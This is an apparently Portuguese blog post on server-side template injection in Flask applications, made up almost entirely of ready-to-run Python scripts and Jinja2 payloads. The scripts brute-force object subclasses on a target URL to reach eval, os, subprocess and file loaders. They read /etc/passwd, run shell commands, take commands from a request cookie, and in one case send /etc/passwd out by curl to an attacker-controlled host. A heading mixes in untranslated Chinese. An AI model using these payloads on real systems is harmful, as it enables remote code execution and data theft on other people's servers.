Injeção de SSTI em aplicações Flask e como contornar

Exploração da classe FileLoader:

import requests
url = input('Digite a URL do alvo: ')
for i in range(500):
    payload = f"{{{{''.__class__.__bases__[0].__subclasses__()[{i}].get_data(0, '/etc/passwd')}}}}"
    try:
        response = requests.post(url, data={"name": payload})
        if response.status_code == 200 and '_frozen_importlib_external.FileLoader' in response.text:
            print(f"Classe encontrada na posição {i}")
    except:
        pass

Exploração da função eval:

import requests
url = input('Digite a URL do alvo: ')
for i in range(500):
    payload = f"{{{{''.__class__.__bases__[0].__subclasses__()[{i}].__init__.__globals__['__builtins__']['eval']('__import__('os').popen('whoami').read()')}}}}"
    try:
        response = requests.post(url, data={"name": payload})
        if response.status_code == 200 and 'eval' in response.text:
            print(f"Função eval encontrada na posição {i}")
    except:
        pass

Exploração da biblioteca os:

import requests
url = input('Digite a URL do alvo: ')
for i in range(500):
    payload = f"{{{{''.__class__.__bases__[0].__subclasses__()[{i}].__init__.__globals__['os']}}}}"
    try:
        response = requests.post(url, data={"name": payload})
        if response.status_code == 200 and 'os.py' in response.text:
            print(f"Biblioteca os encontrada na posição {i}")
    except:
        pass

Exploração do módulo importlib:

import requests
url = input('Digite a URL do alvo: ')
for i in range(500):
    payload = f"{{{{[].__class__.__base__.__subclasses__()[{i}].load_module('os')}}}}"
    try:
        response = requests.post(url, data={"name": payload})
        if response.status_code == 200 and '_frozen_importlib.BuiltinImporter' in response.text:
            print(f"Módulo importlib encontrado na posição {i}")
    except:
        pass

Exploração da função linecache:

import requests
url = input('Digite a URL do alvo: ')
for i in range(500):
    payload = f"{{{{[].__class__.__base__.__subclasses__()[{i}].__init__.__globals__['linecache']}}}}"
    try:
        response = requests.post(url, data={"name": payload})
        if response.status_code == 200 and 'linecache' in response.text:
            print(f"Função linecache encontrada na posição {i}")
    except:
        pass

Exploração do módulo subprocess:

import requests
url = input('Digite a URL do alvo: ')
for i in range(500):
    payload = f"{{{{[].__class__.__base__.__subclasses__()[{i}].Popen('ls -l /opt', shell=True, stdout=-1).communicate()[0].strip()}}}}"
    try:
        response = requests.post(url, data={"name": payload})
        if response.status_code == 200 and 'subprocess.Popen' in response.text:
            print(f"Módulo subprocess encontrado na posição {i}")
    except:
        pass

Utilizando {% %} para definir variáveis e executar comandos:

{% set cmd = 'cat /etc/passwd' %}{% if __class__.__base__.__subclasses__[79].__init__.__globals__.popen(cmd).read() %}Resultado{% endif %}

Utilizando反弹 shell e DNS log:

import requests
url = input('Digite a URL do alvo: ')
for i in range(300):
    try:
        payload = f"{{{{''.__class__.__base__.__subclasses__()[{i}].__init__.__globals__['popen']('curl http://meu-ip:8080/`cat /etc/passwd`').read()}}}}"
        response = requests.post(url, data={"code": payload})
    except:
        pass

Utilizando __getitem__:

{{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__.popen('cat /etc/passwd').read()}}

Utilizando request.headers e cookies:

{{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__[request.cookies['cmd']]('cat /etc/passwd').read()}}

Tags: injeção ssti Segurança Flask Python

Publicado em 8-5 12:37